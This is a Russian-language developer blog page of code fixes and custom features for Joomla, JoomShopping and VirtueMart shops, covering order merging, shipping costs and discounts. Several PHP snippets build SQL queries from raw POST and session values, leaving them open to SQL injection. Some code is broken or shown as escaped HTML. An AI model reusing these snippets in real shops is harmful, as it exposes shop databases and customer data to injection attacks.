Новосибирск +7(983)

По всем вопросам :

Телеграм : @radgura

Joomla 3 - перестала работать google reCaptcha v2

Причиной поломки служит скрипт mootools, котрый начал мешать работе reCaptcha

Исправить можно двумя методами:

1.Удалить скрипт mootools на страницах, где используется  reCaptcha

<?php unset($this->_scripts[$this->baseurl.'/media/system/js/mootools-core.js']); ?>

 

2.Обновить сами скрипты mootools  из архива 

 

 

JoomShopping 5.х - сохранение параметров магазина затирает данные

Столкнулись с проблемой, после установки дополнений, сохранении параметров магазина стирает все данные кроме выбранной вкладки. Например настраиваем товары, при этом стираются "функции магазина", " товары" и тд. Все это происходит из-за не корректной работы плагинов по событию "onBeforeEditConfig..." и "onAfterEditConfig..."

В момент сохранения к выбранным парамтрам(страница параметров магазина) добавляются пустые значения остальных параметров и весь этот полу-пустой массив сохраняется в базу.

Решение:

1.Редактируем файл с процедурой подготовки данных:

\administrator\components\com_jshopping\Controller\ConfigController.php

в функцию function save() добавляем код:

function save()
{
$jshopConfig = \JSFactory::getConfig();
$tab = $this->input->getVar('tab');
$db = \JFactory::getDBO();
$dispatcher = \JFactory::getApplication();
$extconf = array('imageheader'=>'header.jpg', 'imagefooter'=>'footer.jpg');
$post = $this->input->post->getArray();
$dispatcher->triggerEvent('onBeforeSaveConfig', array(&$post, &$extconf));

$session = \JFactory::getApplication()->getSession(); $session->set('jshopping_conf',$post);.
.
.
}

2. Редактируем файл, сохраняющий данные:

\components\com_jshopping\Table\ConfigTable.php

в функцию "public function store($updateNulls = false)" добавляем код:

public function store($updateNulls = false)
{
     $config_id = $this->id;
     $session = \JFactory::getApplication()->getSession();
     $configfieldmass=($session->get('jshopping_conf', array()));
     $filedmass=array();foreach($configfieldmass as $key=>$val) $filedmass[]=$key;
     foreach (get_object_vars($this) as $k => $v)
     {
          if (\is_array($v) || \is_object($v) || $k[0] === '_' || $k === 'id') {
          continue;
     }
     if ($v === null && $updateNulls === false) {
     continue;
     }
     $data = $this->getFieldFromKey($k, $config_id);
     if (in_array($k,$filedmass))
     {
          if (isset($data->id) && $data->id)
          {
               $this->updateRow($data->id, $k, $v, $config_id);
          } else
          {
               $this->insertRow($k, $v, $config_id);
          }
     }
}
return true;
}

Это отфильтрует только те поля, которые были изменены в текущий момент.

PlupLoad не работает в Яндекс.Браузере и Safari

Проблема из-за HTML5, решение давольно простое - подгрузить виджеты и jquery нужной версии:

 

<script src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.9/jquery-ui.min.js"></script>


<script type="text/javascript" src="/plupload/js/jquery.plupload.queue/jquery.plupload.queue.min.js"></script>
<script type="text/javascript" src="/plupload/js/jquery.ui.plupload/jquery.ui.plupload.min.js"></script>
<script type="text/javascript" src="/plupload/js/i18n/ru.js"></script>

VirtueMart 4 - доставка с процентной ставкой

Стандартная доставка может изменить стоимость корзины на фиксированную сумма, но если нужно изменять на процент, тогда нужна доработка

1.Добавляем параметр в плагин

plugins/vmshipment/weight_countries/weight_countries.xml

<field name="shipment_cost_type" type="radio" default="0"
label="Вид стоиомсти"
extension="com_virtuemart"
description="">
<option value="0">Сумма</option>
<option value="1">Проценты</option>
</field>

2.В основном файле

plugins/vmshipment/weight_countries/weight_countries.php

нужно продублировать поле  shipment_cost_type везде где встречается shipment_cost 

3.В функции getCosts переписать формулу расчета, в зависимости от типа

function getCosts (VirtueMartCart $cart, $method, $cart_prices) {

if ($method->free_shipment && $cart_prices['salesPrice'] >= $method->free_shipment) {
return 0.0;
} else
{
if(empty($method->shipment_cost)) $method->shipment_cost = 0.0;
if(empty($method->shipment_cost_type)) $method->shipment_cost_type = 0;
if(empty($method->package_fee)) $method->package_fee = 0.0;
if ($method->shipment_cost_type==0)
return $method->shipment_cost + $method->package_fee;
if ($method->shipment_cost_type==1)
return number_format($cart_prices['salesPrice']*$method->shipment_cost/100,2)+ $method->package_fee;
}
}

Joomshoping - Объединение заказов

Возникла необходимость объеденить заказы одного или нескольких человек в один, причем со сложением одинаковых товаров - по ид, артикулу, атрибуту, но стоимость брать минимальную по списку.

Для начала добавим кнопку "Объеденение" в файле:

administrator/components/com_jshopping/view/orders/view.html.php

Добавляем кнопку:

class JshoppingViewOrders extends JViewLegacy{ function displayList($tpl=null){  JToolBarHelper::title(_JSHOP_ORDER_LIST, 'generic.png'); JToolBarHelper::addNew(); JToolBarHelper::deleteList(_JSHOP_DELETE."?"); JToolBarHelper::link('', 'Объеденить', 'mergeorderbtn'); parent::display($tpl); }

Далее в файле :

administrator/components/com_jshopping/view/orders/tmpl/list.php

Реализуем Ajax запросы и форму для объеденения и стили, просто добавив код:

<input type="hidden" id="siteurl" value="<?php echo JURI::root()?>">
<input type="hidden" id="scripturl" value="<?php echo JURI::root()?>administrator/index.php?option=com_jshopping&controller=orders">
<div class="radworkpanel" style="display:none"><div id="radworkpanel" ></div></div>
<script>
function get_sel_value(elem_id,nullval="")
{
var sel = document.getElementById(elem_id); var str='';
if (sel.options==null) return nullval;
else
{
for (var i = 0; i < sel.options.length; i++){if (sel.options[i].selected) str=str+sel.options[i].value+',';}
str=str.substring(0, str.length - 1);
return str;
}
}
function get_check_value(names)
{
var str='';
jQuery('.'+names).each(function(){
if (this.checked===true) str=str+this.id+',';
});
if (str!='') str=str.substring(0, str.length - 1);
return str;
}
jQuery(document).ready(function() {
document.querySelectorAll('#toolbar-mergeorderbtn button').forEach(el => el.removeAttribute('onclick'));
jQuery("body").on("click", ".closemerge", function(e){
jQuery('.radworkpanel').hide();
document.getElementById('radworkpanel').innerHTML='';
});
jQuery("body").on("click", ".makemergecancel", function(e){
jQuery('.radworkpanel').hide();
document.getElementById('radworkpanel').innerHTML='';
});
jQuery("body").on("click", ".chagenav", function(e){
var ids=this.id;
jQuery('.chagenav').removeClass('active');
jQuery('.chagenav_'+ids).addClass('active');
jQuery('.tab-pane').removeClass('active');
jQuery('#gtab'+ids).addClass('active');
});
jQuery("body").on("click", ".chagenav", function(e){
return false;
});
jQuery(document.body).on('change', '#orderdest', function (event)
{
var myData = 'orderdest='+document.getElementById('orderdest').value
+'&cid='+document.getElementById('radcids').value;
if (document.getElementById('reloadrestable')!=null) document.getElementById('reloadrestable').innerHTML='<img src="'+document.getElementById('siteurl').value+'administrator/components/com_jshopping/views/orders/tmpl/load2.gif" style="max-height:20px;">';
jQuery.ajax({
type: "POST",
url: document.getElementById('scripturl').value,
dataType:"text",
data:myData,
success:function(response)
{
document.getElementById('resulttablediv').innerHTML=response;
if (document.getElementById('reloadrestable')!=null)document.getElementById('reloadrestable').innerHTML='';
jQuery('.reloadsql').click();
},
error:function (xhr, ajaxOptions, thrownError){alert(thrownError);}
});
});
jQuery(document.body).on('click', '.reloadsql', function (event)
{
var myData = 'reloadsql='+document.getElementById('orderdest').value
+'&cid='+document.getElementById('radcids').value;
if (document.getElementById('gtab3')!=null) document.getElementById('gtab3').innerHTML='<img src="'+document.getElementById('siteurl').value+'administrator/components/com_jshopping/views/orders/tmpl/load2.gif" style="max-height:20px;">';
jQuery.ajax({
type: "POST",
url: document.getElementById('scripturl').value,
dataType:"text",
data:myData,
success:function(response)
{
document.getElementById('gtab3').innerHTML=response;
},
error:function (xhr, ajaxOptions, thrownError){alert(thrownError);}
});
});
jQuery(document.body).on('click', '.refreshpdf', function (event)
{
var myData = 'refreshpdf='+document.getElementById('orderdest').value;
jQuery.ajax({
type: "POST",
url: document.getElementById('scripturl').value,
dataType:"text",
data:myData,
success:function(response)
{
},
error:function (xhr, ajaxOptions, thrownError){alert(thrownError);}
});
});
jQuery(document.body).on('click', '.makemerge', function (event)
{
var myData = 'makemerge='+document.getElementById('orderdest').value
+'&cid='+document.getElementById('radcids').value;
if (document.getElementById('reloadrestable')!=null) document.getElementById('reloadrestable').innerHTML='<img src="'+document.getElementById('siteurl').value+'administrator/components/com_jshopping/views/orders/tmpl/load2.gif" style="max-height:20px;">';
jQuery.ajax({
type: "POST",
url: document.getElementById('scripturl').value,
dataType:"text",
data:myData,
success:function(response)
{
jQuery('.refreshpdf').click();
location.reload();
},
error:function (xhr, ajaxOptions, thrownError){alert(thrownError);}
});
});
jQuery(document.body).on('click', '#toolbar-mergeorderbtn button', function (event)
{
if (document.adminForm.boxchecked.value <2)
{ alert('Пожалуйста, выберите объекты из списка!'); }
else
{
var favorite = [];jQuery("input[name='cid[]']:checked").each(function(){favorite.push(jQuery(this).val());});
var cids=favorite.join(", ");
var myData = 'showmergeorder='+cids;
document.getElementById('radworkpanel').innerHTML='<img src="'+document.getElementById('siteurl').value+'administrator/components/com_jshopping/views/orders/tmpl/load2.gif" style="max-height:25px;margin-left:50%;">';
jQuery('.radworkpanel').show();
jQuery.ajax({
type: "POST",
url: document.getElementById('scripturl').value,
dataType:"text",
data:myData,
success:function(response)
{
document.getElementById('radworkpanel').innerHTML=response;
},
error:function (xhr, ajaxOptions, thrownError){alert(thrownError);}
});
}
return false;
});
});
</script>

Добавим обработчик aJax запросов, можно разместить в файле list.php или view.html.php:

if(!defined('DS')) define('DS', DIRECTORY_SEPARATOR);
include_once(JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_jshopping'.DS.'views'.DS.'orders'.DS.'tmpl'.DS.'func.php');
if (isset($_POST['orderdest']) and strlen($_POST['orderdest']))
{
$db = JFactory::getDbo();
$ids=$_POST['cid'];
$selected=$_POST['orderdest'];
$db->setquery(" select o.*
,(select username from #__users u where u.id=o.user_id) as user_name
from #__jshopping_orders o
where order_id in (".$ids.") and order_status>0");$orders=$db->loadobjectlist();
$db->setquery("select * from #__jshopping_order_item where order_id in (".$ids.") order by product_name,product_ean");$orderitems=$db->loadobjectlist();
echo get_preparetable($orders,$orderitems,$selected);
exit();
}
if (isset($_POST['reloadsql']) and strlen($_POST['reloadsql']))
{
$db = JFactory::getDbo();
$selected=$_POST['reloadsql'];
$ids=$_POST['cid'];
$db->setquery(" select o.*
,(select username from #__users u where u.id=o.user_id) as user_name
from #__jshopping_orders o
where order_id in (".$ids.") and order_status>0");$orders=$db->loadobjectlist();
$db->setquery("select * from #__jshopping_order_item where order_id in (".$ids.") order by product_name,product_ean");$orderitems=$db->loadobjectlist();
echo get_preparetable($orders,$orderitems,$selected,1);
exit();
}
if (isset($_POST['refreshpdf']) and strlen($_POST['refreshpdf']))
{
$order_id=$_POST['refreshpdf'];
$db = JFactory::getDbo();
$db->setquery("select pdf_file from #__jshopping_orders where order_id='".$order_id."'");$pdfname=$db->loadresult();
if (file_exists(JPATH_ROOT.DS.'components'.DS.'com_jshopping'.DS.'files'.DS.'pdf_orders'.DS.$pdfname)) unlink(JPATH_ROOT.DS.'components'.DS.'com_jshopping'.DS.'files'.DS.'pdf_orders'.DS.$pdfname);
$app = JFactory::getApplication();
$jshopConfig = JSFactory::getConfig();
$file_generete_pdf_order = $jshopConfig->file_generete_pdf_order;
$dispatcher = JDispatcher::getInstance();
$order = JSFactory::getTable('order', 'jshop');
$order->load($order_id);
if (!$order_id){echo 'Не удалось загрузить заказ!';exit(); }
$order_created_prev = $order->order_created;
$currency = JSFactory::getTable('currency', 'jshop');
$order_id = $order->order_id;
$order->load($order_id);
$order->prepareOrderPrint('', 1);
$order->generatePdf($file_generete_pdf_order);
echo 'Файл PDF обновлен';
exit();
}
if (isset($_POST['makemerge']) and strlen($_POST['makemerge']))
{
$db = JFactory::getDbo();
$selected=$_POST['makemerge'];
$ids=$_POST['cid'];
$db->setquery(" select o.*
,(select username from #__users u where u.id=o.user_id) as user_name
from #__jshopping_orders o
where order_id in (".$ids.") and order_status>0");$orders=$db->loadobjectlist();
$db->setquery("select * from #__jshopping_order_item where order_id in (".$ids.") order by product_name,product_ean");$orderitems=$db->loadobjectlist();
echo get_preparetable($orders,$orderitems,$selected,0,0);//запускаем с обновлением базы
exit();
}
if (isset($_POST['showmergeorder']) and strlen($_POST['showmergeorder']))
{
$ids=$_POST['showmergeorder'];
$db = JFactory::getDbo();
$cids=explode(',',$ids);$i=1;
$ret= '<div class="mergeformdiv">
<p class="tar">
<a class="btn closemerge"><span class="icon-cancel"></span> Закрыть</a>
<a class="btn reloadsql" style="display:none;"><span class="icon-refresh"></span> SQL</a>
<a class="btn refreshpdf" style="display:none;"><span class="icon-refresh"></span> PDF</a>
</p>
<ul class="nav nav-tabs" id="myTabTabs" >
<li class="chagenav chagenav_1 active" id="1"><a href="#gtab1" class="chagenav" data-toggle="tab" id="1">Заказы</a></li>
<li class="chagenav chagenav_2" id="2"><a href="#gtab2" class="chagenav" data-toggle="tab" id="2">Объединенный заказ</a></li>
<li class="chagenav chagenav_3" id="3" style="display:none;"><a href="#gtab3" class="chagenav" data-toggle="tab" id="3">SQL</a></li>
</ul>
<div class="tab-content" id="myTabContent" style="padding: 7px;">
<div id="gtab1" class="tab-pane active">';
//перечисляем элементы
$ret.='<div class="cidsdiv"><span style="line-height: 25px;padding-right: 10px;">Заказы[ID]:</span>';
foreach($cids as $cid) $ret.= '<div class="cidelem">'.$cid.'</div>';
$ret.= '</div>';
//показываем внутренности заказов
$ret.='<div class="orderdivs">';
$db->setquery(" select o.*
,(select username from #__users u where u.id=o.user_id) as user_name
from #__jshopping_orders o
where order_id in (".$ids.") and order_status>0");$orders=$db->loadobjectlist();
$db->setquery("select * from #__jshopping_order_item where order_id in (".$ids.") order by product_name,product_ean");$orderitems=$db->loadobjectlist();
$ret.= '<table><thead>
<tr class="thtable">
<th>Заказ/ID</th>
<th>Товар</th>
<th>Кол-во</th>
<th>Сумма</th>
<th>Скидка</th>
<th>Контакты</th>
<th>Пользователь</th>
</tr></thead><tbody>';
foreach($orders as $order)
{
$ret.=' <tr class="ordertr ordertr_'.$order->order_id.'">
<td><span class="cidelem">['.$order->order_id.']</span>'.$order->order_number.'</td>
<td></td>
<td></td>
<td>'.number_format($order->order_total,2,'.','').'</td>
<td>'.number_format($order->order_discount,2,'.','').'</td>
<td>'.$order->email.' '.$order->phone.'</td>
<td>['.$order->user_id.'] '.$order->user_name.'</td>
</tr>';
foreach($orderitems as $orderitem)
if ($orderitem->order_id==$order->order_id)
{
$ret.=' <tr class="itemtr itemtr_'.$orderitem->product_id.'">
<td>'.str_pad($i, 2, "0", STR_PAD_LEFT).'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<img src="'.JURI::root().'components/com_jshopping/files/img_products/'.$orderitem->thumb_image.'" style="height:20px;width:20px;">
'.$orderitem->product_id.((trim($orderitem->product_ean)!='')?' ['.$orderitem->product_ean.']':'').'
</td>
<td>'.$orderitem->product_name.'</td>
<td>'.number_format($orderitem->product_quantity,0).'</td>
<td>'.number_format($orderitem->product_item_price,2,'.','').'</td>
<td>'.$orderitem->product_attributes.'</td>
</tr>';
$i++;
}
}
$ret.= '</tbody></table>';
$ret.= '</div>
</div>
<div id="gtab2" class="tab-pane ">
В какой заказ вносить данные: <select id="orderdest" style="margin:0">';
$firestorder='';foreach($orders as $order)
{
if ($firestorder=='') $firestorder=$order->order_id;
$ret.= '<option value="'.$order->order_id.'">'.$order->order_number.' ('.number_format($order->order_total,2,'.','').' руб.)</option>';
}
$ret.= '</select>
<a class="btn makemerge">Объеденить</a> <span id="reloadrestable"></span>
<input type="hidden" id="radcids" value="'.$ids.'">
<div class="resulttablediv" id="resulttablediv">'.get_preparetable($orders,$orderitems,$firestorder).'</div>
</div>
<div id="gtab3" class="tab-pane">'.get_preparetable($orders,$orderitems,$firestorder,1).'</div>
</div>
<div class="closebtndiv"><a class="btn makemergecancel">Отмена</a></div>';
echo $ret;
exit();
}
Итоговый объединённый заказ

 

Добавление своего раздела в админке Joomshoping

Нам понадобился собственный отчет и клиент попросил добавить его в пункты Joomshopping, что нужно сделать:

1.В базе создать пункт меню для меню "Компоненты" таблица #__menu, заполнить

menutype - main
title - <название>
alias - <название в анг.>
path - joomshopping/<alias>
link - option=com_jshopping&controller=<папка в каталоге JS/views>
type - component
piblished - 1
parent_id - <id строки JS c alias=joomshopping> 
level - 2
component_id - <Id JS>
lft - взять максимальное значение
rgt - взять максимальное значение+1

2.Создать папку в админ каталоге JS 
administrator\components\com_jshopping\views\<alias>\

Разместить файл view.html.php

defined('_JEXEC') or die('Restricted access');
jimport( 'joomla.application.component.view');

class JshoppingViewReport extends JViewLegacy
{
function display($tpl=null){
$layout = $this->getLayout();
$title = 'Отчет';
parent::display($tpl);
}
}

administrator\components\com_jshopping\views\<alias>\tmpl\

Разместить файл default.php

defined('_JEXEC') or die('Restricted access');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');
Header("Content-Type: text/html;charset=UTF-8");
$document = JFactory::getDocument();
$document->addStyleSheet(JUri::root().'administrator/components/com_jshopping/views/report/tmpl/css.css?dt='.date("YmdHis"));
$document->addScript(JUri::root().'administrator/components/com_jshopping/views/report/tmpl/js.js?dt='.date("YmdHis"));
JHtml::_('bootstrap.tooltip');?>

 

Далее настраиваем функционал

 

 

RAD YML - настройка DBS компании

Эта страница дополнительной настройки компонента RAD JS YML

 

Особености ведения нескольких моделей магазина

В компоненте вы можете отдельно вести ADV и DBS компанию, можно вести сразу 2 компании, особеность настройки - добавление региона и назначение одного из них "регионом DBS"

Если вы ведете только ADV компанию, то вам нужно в парамтерах "Яндекс.API" пункт "Регин DBS модели" выбрать "Не используется"

 

Для настройки DBS нужно выбрать регион или использовать основной регион (работать без регионов)

Дополнительные возможности DBS модели

Для DBS модели яндекс назначает своюю коммисию, вы можете создать наценку нас стоимость товара для покрытия издержек, в параметрах товара поле "Наценка DBS"

 

В остальном DBS модель схожа с ADV

Virtuemart onepage generic - собственная скидка

Поступила задача предоставить скику от суммы и кол-ва заказов.

Для реализации создадим файл с функцией расчета скидки

<pre>&lt;?php<br />function get_raddicount($userid=0,$bilsum=0,$retval='',$ignoreorderid='')<br />{<br /> $_SESSION['rad_discount_before']=$bilsum;<br /> $_SESSION['rad_discount_name']='';<br /> //пользователь без регистрации -Basa - скидка от суммы заказа<br /> if ($userid==0)<br /> {<br /> if ($bilsum&gt;=5000) {$total_discotun=$bilsum*0.03;$discount_name='скидка 3%';}<br /> if ($bilsum&gt;=7500) {$total_discotun=$bilsum*0.05;$discount_name='скидка 5%';}<br /> if ($bilsum&gt;=10000) {$total_discotun=$bilsum*0.07;$discount_name='скидка 7%';}<br /> if ($bilsum&gt;=15000) {$total_discotun=$bilsum*0.1;$discount_name='скидка 10%';}<br /> }<br /> //пользователь зареган смотрим кол-во закаов<br /> if ($userid*1&gt;0)<br /> {<br /> $db = JFactory::getDbo(); <br /> $query="select count(*) from #__virtuemart_orders <br /> where virtuemart_user_id='".$userid."' and order_total&gt;0<br /> ".(($ignoreorderid!='')?" and virtuemart_order_id not in (".$ignoreorderid.")":'')." ";<br /> $db-&gt;setquery($query);$ordcount=$db-&gt;laodresult();<br /> //закзов нет - общая схема по сумме<br /> if ($ordcount==0)<br /> {<br /> if ($bilsum&gt;=5000) {$total_discotun=$bilsum*0.03;$discount_name='скидка 3%';}<br /> if ($bilsum&gt;=7500) {$total_discotun=$bilsum*0.05;$discount_name='скидка 5%';}<br /> if ($bilsum&gt;=10000) {$total_discotun=$bilsum*0.07;$discount_name='скидка 7%';}<br /> if ($bilsum&gt;=15000) {$total_discotun=$bilsum*0.1;$discount_name='скидка 10%';}<br /> }<br /> //есть заказы<br /> if ($ordcount&gt;0)<br /> {<br /> if ($ordcount==1) {$total_discotun=$bilsum*0.03;$discount_name='скидка 3%';}<br /> if ($ordcount==2) {$total_discotun=$bilsum*0.05;$discount_name='скидка 5%';}<br /> if ($ordcount==3) {$total_discotun=$bilsum*0.07;$discount_name='скидка 7%';}<br /> if ($ordcount&gt;=4) {$total_discotun=$bilsum*0.1;$discount_name='скидка 10%';}<br /> }<br /> }<br /> $_SESSION['rad_discount_name']=$discount_name;<br /> $_SESSION['rad_discount_total']=$total_discotun;<br /> //вывод<br /> if ($retval=='name') return $_SESSION['rad_discount_name']; else return $total_discotun;<br />}</pre>

Добавим пересчет стоимости заказа со скидка, файл

plugins/system/onepage_generic/cart/ajaxprice.php
<?php
/**
** Parts of this code is written by joomlapro.com Copyright (c) 2012, 2015 All Right Reserved.
** Many part of this code is from VirtueMart Team Copyright (c) 2004 - 2015. All rights reserved.
** Some parts might even be Joomla and is Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
** http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
** This source is free software. This version may have been modified pursuant
** to the GNU General Public License, and as distributed it includes or
** is derivative of works licensed under the GNU General Public License or
** other free or open source software licenses.
**
** THIS CODE AND INFORMATION ARE PROVIDED "AS IS" WITHOUT WARRANTY OF ANY
** KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
** IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
** PARTICULAR PURPOSE.
** <author>Joomlaproffs / Virtuemart team</author>
** <email>Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра.;/email>
** <date>2017</date>
*/
defined('_JEXEC') or die('Restricted access');
include_once(JPATH_ROOT.DIRECTORY_SEPARATOR.'radfunc.php');
$cart->prepareCartData();
$i = 0;
foreach($cart->pricesUnformatted as $id=>$value)
{
if(!is_array($value) && is_string($id))
{
continue;
}
$price_values["products"][$id]["subtotal_salesPrice"]=!empty($cart->pricesUnformatted[$id]["salesPrice"])?$currency->priceDisplay($cart->pricesUnformatted[$id]["salesPrice"]):"";
$price_values["products"][$id]["subtotal_tax_amount"]=!empty($cart->pricesUnformatted[$id]["taxAmount"])?$currency->priceDisplay($cart->pricesUnformatted[$id]["taxAmount"], 0, $cart->products[$id]->quantity):"";
$price_values["products"][$id]["subtotal_discount"]=!empty($cart->pricesUnformatted[$id]["subtotal_discount"])?$currency->priceDisplay($cart->pricesUnformatted[$id]["discountAmount"], 0, $cart->products[$id]->quantity):"";

$price_values["products"][$id]["subtotal_with_tax"] = "";
if (VmConfig::get('checkout_show_origprice',1) && !empty($cart->pricesUnformatted[$id]['basePriceWithTax']) && $cart->pricesUnformatted[$id]['basePriceWithTax'] != $cart->pricesUnformatted[$id]['salesPrice'] )
{
$old_baseprice = !empty($cart->pricesUnformatted[$id]["basePriceWithTax"])?$currency->priceDisplay($cart->pricesUnformatted[$id]["basePriceWithTax"], 0, $cart->products[$id]->quantity):"";
$price_values["products"][$id]["subtotal_with_tax"]='<span class="line-through">'.$old_baseprice.'</span><br />';
}
$price_values["products"][$id]["subtotal_with_tax"] .= !empty($cart->pricesUnformatted[$id]["subtotal_with_tax"])?$currency->priceDisplay($cart->pricesUnformatted[$id]["subtotal_with_tax"]):"";
$i++;
if(count($cart->products) == $i)
{
break;
}
continue;
}

//изменение стоимости на группу
$user = JFactory::getUser();
$rad_discount_sum=get_raddicount($user->id,$cart->pricesUnformatted["billTotal"]);
$cart->pricesUnformatted["billTotal"]=$cart->pricesUnformatted["billTotal"]*1-$rad_discount_sum;
$price_values["discountname"]=$_SESSION['rad_discount_name'];

$priceList = array("salesPrice","salesPriceShipment","paymentTax","shipmentTax","billTaxAmount","discountAmount","salesPriceCoupon","salesPricePayment","couponTax","taxAmount","billTotal","billDiscountAmount");

if(!empty($cart->couponCode)) $price_values["couponCode"]= $cart->couponCode;


foreach ($priceList as $price_name) {
if(!empty($cart->pricesUnformatted[$price_name])) $price_values[$price_name] = $currency->priceDisplay($cart->pricesUnformatted[$price_name]);
else $price_values[$price_name] = "";
}
$price_values["couponDescr"] = "";
$price_values["couponCode"] = "";

if(!empty($cart->cartData["couponCode"]))
$price_values["couponCode"] = $cart->cartData["couponCode"];

if(!empty($cart->cartData["couponDescr"]))
$price_values["couponDescr"] = $cart->cartData["couponDescr"];

$price_values["billTotalunformat"]= $cart->pricesUnformatted["billTotal"];
if(count($this->cart->cartData['taxRulesBill']) > 0)
{
$taxRulesBill = array();
foreach($this->cart->cartData['taxRulesBill'] as $rule)
{
$virtuemart_calc_id = $rule['virtuemart_calc_id'];
$calcname = $rule['calc_name'];
$taxRulesBill[$virtuemart_calc_id]["name"] = $calcname;
$taxRulesBill[$virtuemart_calc_id]["price"] = $this->currencyDisplay->createPriceDiv($rule['virtuemart_calc_id'].'Diff','', $this->cart->pricesUnformatted[$rule['virtuemart_calc_id'].'Diff'],true);
}
$price_values["taxRulesBill"] = $taxRulesBill;
}
if(count($this->cart->cartData['DATaxRulesBill']) > 0)
{
$DATaxRulesBill = array();
foreach($this->cart->cartData['DATaxRulesBill'] as $rule)
{
$virtuemart_calc_id = $rule['virtuemart_calc_id'];
$calcname = $rule['calc_name'];
$DATaxRulesBill[$virtuemart_calc_id]["name"] = $calcname;
$DATaxRulesBill[$virtuemart_calc_id]["price"] = $this->currencyDisplay->createPriceDiv($rule['virtuemart_calc_id'].'Diff','', $this->cart->pricesUnformatted[$rule['virtuemart_calc_id'].'Diff'],true);
}
$price_values["DATaxRulesBill"] = $DATaxRulesBill;
}
if(count($this->cart->cartData['DBTaxRulesBill']) > 0)
{
$DBTaxRulesBill = array();
foreach($this->cart->cartData['DBTaxRulesBill'] as $rule)
{
$virtuemart_calc_id = $rule['virtuemart_calc_id'];
$calcname = $rule['calc_name'];
$DBTaxRulesBill[$virtuemart_calc_id]["name"] = $calcname;
$DBTaxRulesBill[$virtuemart_calc_id]["price"] = $this->currencyDisplay->createPriceDiv($rule['virtuemart_calc_id'].'Diff','', $this->cart->pricesUnformatted[$rule['virtuemart_calc_id'].'Diff'],true);
}
$price_values["DBTaxRulesBill"] = $DBTaxRulesBill;
}echo json_encode($price_values);
exit;
?>

В файле шаблон цен нужно добаить элемент для вывода названия скидки

plugins/system/onepage_generic/cart/tmpl/default_price.php
<?php
if (isset($_SESSION['rad_discount_name'])) $disname=$_SESSION['rad_discount_name']; else $disname='';
?>
<div class="total opg-grid opg-text-right" id="bill_totalfulldiv">
<div class="price-type opg-width-large-3-4 opg-width-small-1-2 opg-width-1-2 opg-text-large opg-text-primary opg-text-bold"><?php echo JText::_('COM_VIRTUEMART_CART_TOTAL').': ' ?></div>
<div class="price-amount opg-width-large-1-4 opg-width-small-1-2 opg-width-1-2 opg-text-large opg-text-primary opg-text-bold" id="bill_total"><?php echo $this->currencyDisplay->createPriceDiv('billTotal','', $this->cart->pricesUnformatted['billTotal'],true); ?></div>
<div class="price-amount opg-width-large-3-4 opg-width-small-1-2 opg-width-1-2 opg-text-large opg-text-primary opg-text-bold" id="bill_total_discountname"><?php echo $disname; ?></div>
<div class="clear"></div>
</div>



Добавим вывод подписи при перерасчете чека - на форме  должен быть элемент с тегом #bill_total_discountname

plugins/system/onepage_generic/onepage.js
if(data.billTotal != "")
{
jQuery("#bill_totalamountfulldiv").show();
jQuery("#bottom_total").show();
jQuery('#bill_total').html(data.billTotal);
jQuery('#bill_total_discountname').html(data.discountname);
jQuery('#carttotal').html(data.billTotal);
jQuery('#carttotalunformat').val(data.billTotalunformat);
}
else
{
jQuery("#bill_totalamountfulldiv").hide();
jQuery("#bottom_total").hide();
}


Далее нужно повторить скидку в момент создания заказа в базе

components/virtuemart/helper/cart.php
<p>function confirmedOrder() { <br /> //Just to prevent direct call<br /> if ($this-&gt;_dataValidated and $this-&gt;_confirmDone and !$this-&gt;_inCheckOut) {<br />if($this-&gt;_inConfirm) return false;<br />//We set this in the trigger of the plugin. so old plugins keep the old behaviour<br /> $orderModel = VmModel::getModel('orders');<br />$this-&gt;virtuemart_order_id = $orderModel-&gt;createOrderFromCart($this);<br /> if (!$this-&gt;virtuemart_order_id) {<br /> $mainframe = JFactory::getApplication();<br /> //vmError('No order created '.$orderModel-&gt;getError());<br /> $mainframe-&gt;redirect(JRoute::_('index.php?option=com_virtuemart&amp;view=cart', FALSE) );<br /> }<br />$orderId = $this-&gt;virtuemart_order_id;<br /> <span style="background-color: #ccffcc;">//вносим правки в стоимость - скидка розничным</span><br /><span style="background-color: #ccffcc;"> //$fp = fopen(JPATH_ROOT.DIRECTORY_SEPARATOR.'conform.txt', 'a+');fwrite($fp, 'Сохранение заказа №'.$orderId.PHP_EOL);fclose($fp);</span><br /><span style="background-color: #ccffcc;"> $db = JFactory::getDbo(); </span><br /><span style="background-color: #ccffcc;"> if (isset($_SESSION['rad_discount_total']) and $_SESSION['rad_discount_total']*1&gt;0)</span><br /><span style="background-color: #ccffcc;"> {</span><br /><span style="background-color: #ccffcc;"> $query="update #__virtuemart_orders set rad_txt='".$_SESSION['rad_discount_name']."',order_billDiscountAmount=(order_billDiscountAmount+'".$_SESSION['rad_discount_total']."'),order_discountAmount=(order_discountAmount+'".$_SESSION['rad_discount_total']."')</span><br /><span style="background-color: #ccffcc;"> ,order_total=(order_total-".$_SESSION['rad_discount_total']."),order_salesPrice=(order_salesPrice-".$_SESSION['rad_discount_total']."),order_subtotal=(order_subtotal-".$_SESSION['rad_discount_total'].")</span><br /><span style="background-color: #ccffcc;"> where virtuemart_order_id='".$orderId."'";</span><br /><span style="background-color: #ccffcc;"> $db-&gt;setquery($query);$db-&gt;execute();</span><br /><span style="background-color: #ccffcc;"> }</span><br /><span style="background-color: #ccffcc;"> else</span><br /><span style="background-color: #ccffcc;"> {</span><br /><span style="background-color: #ccffcc;"> $db-&gt;setquery("select order_total,virtuemart_user_id from #__virtuemart_orders where virtuemart_order_id='".$orderId."' ");$orderdb=$db-&gt;loadobject();</span><br /><span style="background-color: #ccffcc;"> $order_total=$orderdb-&gt;order_total;</span><br /><span style="background-color: #ccffcc;"> $order_user=$orderdb-&gt;virtuemart_user_id;</span><br /><span style="background-color: #ccffcc;">include_once(JPATH_ROOT.DIRECTORY_SEPARATOR.'radfunc.php');</span><br /><span style="background-color: #ccffcc;"> $rad_discount=get_raddicount($order_user,$order_total,'',$orderId);</span><br /><span style="background-color: #ccffcc;"> if ($rad_discount=='') 